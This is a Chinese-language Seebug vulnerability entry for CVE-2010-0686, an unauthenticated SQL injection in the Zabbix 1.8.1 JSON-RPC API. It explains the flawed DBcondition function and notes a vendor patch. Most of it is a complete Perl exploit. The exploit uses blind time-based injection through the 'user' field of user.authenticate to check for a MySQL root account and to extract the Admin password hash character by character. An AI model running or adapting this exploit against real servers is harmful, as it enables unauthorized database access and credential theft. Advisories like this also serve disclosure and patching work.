Lucene search

K
seebugRootSSV:19381
HistoryApr 02, 2010 - 12:00 a.m.

ZABBIX<= 1.8.1 DBcondition函数SQL注入漏洞

2010-04-0200:00:00
Root
www.seebug.org
12

0.008 Low

EPSS

Percentile

79.7%

BUGTRAQ ID: 39148
CVE ID: CVE-2010-0686

zabbix是一个CS结构的分布式网络监控系统。

Zabbix API使用了include/db.inc.php中定义的DBcondition()函数来执行SQL查询中WHERE子句的条件。该函数没有对用户提供数据提供额外的检查:

function DBcondition($fieldname, &$array, $notin=false, $string=false){
global $DB;
$condition = ‘’;
—[cut]—
$in = $notin?’ NOT IN ‘:’ IN ‘;
$concat = $notin?’ AND ‘:’ OR ‘;
$glue = $string?"’,‘":’,';

switch($DB['TYPE']) {
    case 'SQLITE3':
    case 'MYSQL':
    case 'POSTGRESQL':
    case 'ORACLE':
    default:
        $items = array_chunk($array, 950);
        foreach($items as $id => $values){
            $condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';
            if($string)     $condition.= "'".implode($glue,$values)."'";
            else            $condition.= implode($glue,$values);
        }
        break;
}

if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';

return ’ (‘.$fieldname.$in.’(‘.$condition.’)) ';
}

Zabbix API代码中多次使用了DBcondition()包含用户在SQL查询中所提供的参数,在class.cuser.php的认证过程中也使用了这个函数:

class CUser extends CZBXAPI{
—[cut]—
public static function get($options=array()){
—[cut]—
// users
if(!is_null($options[‘users’])){
zbx_value2array($options[‘users’]);
$sql_parts[‘where’][] = DBcondition(‘u.alias’, $options[‘users’],
false, true);
}

—[cut]—
if(!empty($sql_parts[‘where’])) $sql_where.= ’ AND ‘.implode(’
AND ',$sql_parts[‘where’]);

—[cut]—
$sql = 'SELECT DISTINCT ‘.$sql_select.’
FROM ‘.$sql_from.’
WHERE '.DBin_node(‘u.userid’, $nodeids).
$sql_where.
$sql_order;
$res = DBselect($sql, $sql_limit);
—[cut]—

从rpc/class.czbxrpc.php文件可见可以user参数调用Zabbix API的user.authenticate方式来提供$options[‘users’]变量:

// Authentication {{{
if(($resource == ‘user’) && ($action == ‘authenticate’)){
$sessionid = null;

$options = array(
        'users' => $params['user'],
        'extendoutput' => 1,
        'get_access' => 1
        );
$users = CUser::get($options);
$user = reset($users);
if($user['api_access'] != GROUP_API_ACCESS_ENABLED){
    self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' =>  

‘No API access’);
return self::$result;
}

由于缺少过滤检查,用户无需认证就可以执行SQL注入攻击。

ZABBIX SIA zabbix <= 1.8.1
厂商补丁:

ZABBIX SIA

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.zabbix.org/


                                                #!/usr/bin/perl

#
# zabbix181api.pl - Zabbix &lt;= 1.8.1 API SQL Injection PoC Exploit
#
# Copyright (c) 2010 
# Dawid Golunski &lt;dawid[!]legalhackers.com&gt;
# legalhackers.com
#
# Description
# -----------
# A PoC exploit for Zabbix &lt;= 1.8.1 API (api_jsonrpc.php) prone to
# an sql injection attack allowing unauthenticated users to access 
# the backend database.
# The exploit performs a blind time-based sql injection attack to 
# retrieve Zabbix Admin's password hash and check if Zabbix uses a
# MySQL root account.
#
# Example
# -----------
# $ ./zabbix181api.pl http://10.0.0.1/zabbix
# Target: http://10.0.0.1/zabbix
# Reqtime: 0.2s ; SleepTime: 0.4s 
# 
# Checking if zabbix uses mysql root account... No
#
# Extracting Admin's password hash from zabbix users table:
# 5fce1b3c34b520ageffb47ce08a7cd76
# Job done.
# 


use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $zabbix_api_url = shift || die &quot;No target url provided. Exiting.\n&quot;;
$zabbix_api_url .= &quot;/api_jsonrpc.php&quot;;
my $ua = LWP::UserAgent-&gt;new;
$ua-&gt;timeout(8);

sub sendRequest 
{
	my ($api_url, $data) = @_;
	my $start_time = [gettimeofday];
	my $response = $ua-&gt;request(POST &quot;$api_url&quot;, 
		Content_Type =&gt; &quot;application/json-rpc&quot;,
		Content =&gt; &quot;$data&quot;);
	my $end_time = [gettimeofday];
	my $elapsed_time = tv_interval($start_time,$end_time);
	my $elapsed_time_sec = sprintf &quot;%.1f&quot;, $elapsed_time;

	my %result = (&quot;content&quot;, $response-&gt;content, 
		      &quot;code&quot;, $response-&gt;code,
		      &quot;success&quot;, ($response-&gt;is_success() ? 1 : 0),
		      &quot;time&quot;, $elapsed_time_sec);
	return %result;
}

%result  = sendRequest($zabbix_api_url, &quot;&quot;);
if ($result{success} ne 1) {
	die &quot;Could not access zabbix API.\n&quot;;
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);

print &quot;Target: $zabbix_api_url\n&quot;;
print &quot;Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n&quot;;

$| = 1;

print &quot;Checking if zabbix uses mysql root account... &quot;;
my $jsondata = '{&quot;auth&quot;:null,&quot;method&quot;:&quot;user.authenticate&quot;,&quot;id&quot;:1,&quot;params&quot;:{'.
	       '&quot;password&quot;:&quot;apitest123&quot;,'.
	       '&quot;user&quot;:&quot;Admin\') ) OR '.
	       'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.$sleep_time.'),0) '.
	       ' -- end &quot;},&quot;jsonrpc&quot;:&quot;2.0&quot;}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time}  &gt;= $sleep_time) {
	print &quot;Yes!\n\n&quot;;
} else {
	print &quot;No\n\n&quot;;
}

my $username = &quot;Admin&quot;;
my @chars = (0 .. 10, &quot;a&quot; .. &quot;f&quot;);
my $md5_hash = &quot;&quot;;
print &quot;Extracting Admin's password hash from zabbix users table:\n&quot;;
for (my $offset=1; $offset&lt;=32; $offset++) {
    for (my $idx=0; $idx&lt;(scalar @chars); $idx++) {
	$jsondata = '{&quot;auth&quot;:null,&quot;method&quot;:&quot;user.authenticate&quot;,&quot;id&quot;:1,&quot;params&quot;:{'.
		       '&quot;password&quot;:&quot;apitest123&quot;,'.
		       '&quot;user&quot;:&quot;'.$username.'\') ) AND '.
		       'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
		       ' -- end &quot;},&quot;jsonrpc&quot;:&quot;2.0&quot;}';
	%result = sendRequest($zabbix_api_url, $jsondata);
	if ($result{time}  &gt;= $sleep_time) {
		$md5_hash .= $chars[$idx];
		print $chars[$idx];
	} 
    }
}
print &quot;\nJob done.\n&quot;;

                              

0.008 Low

EPSS

Percentile

79.7%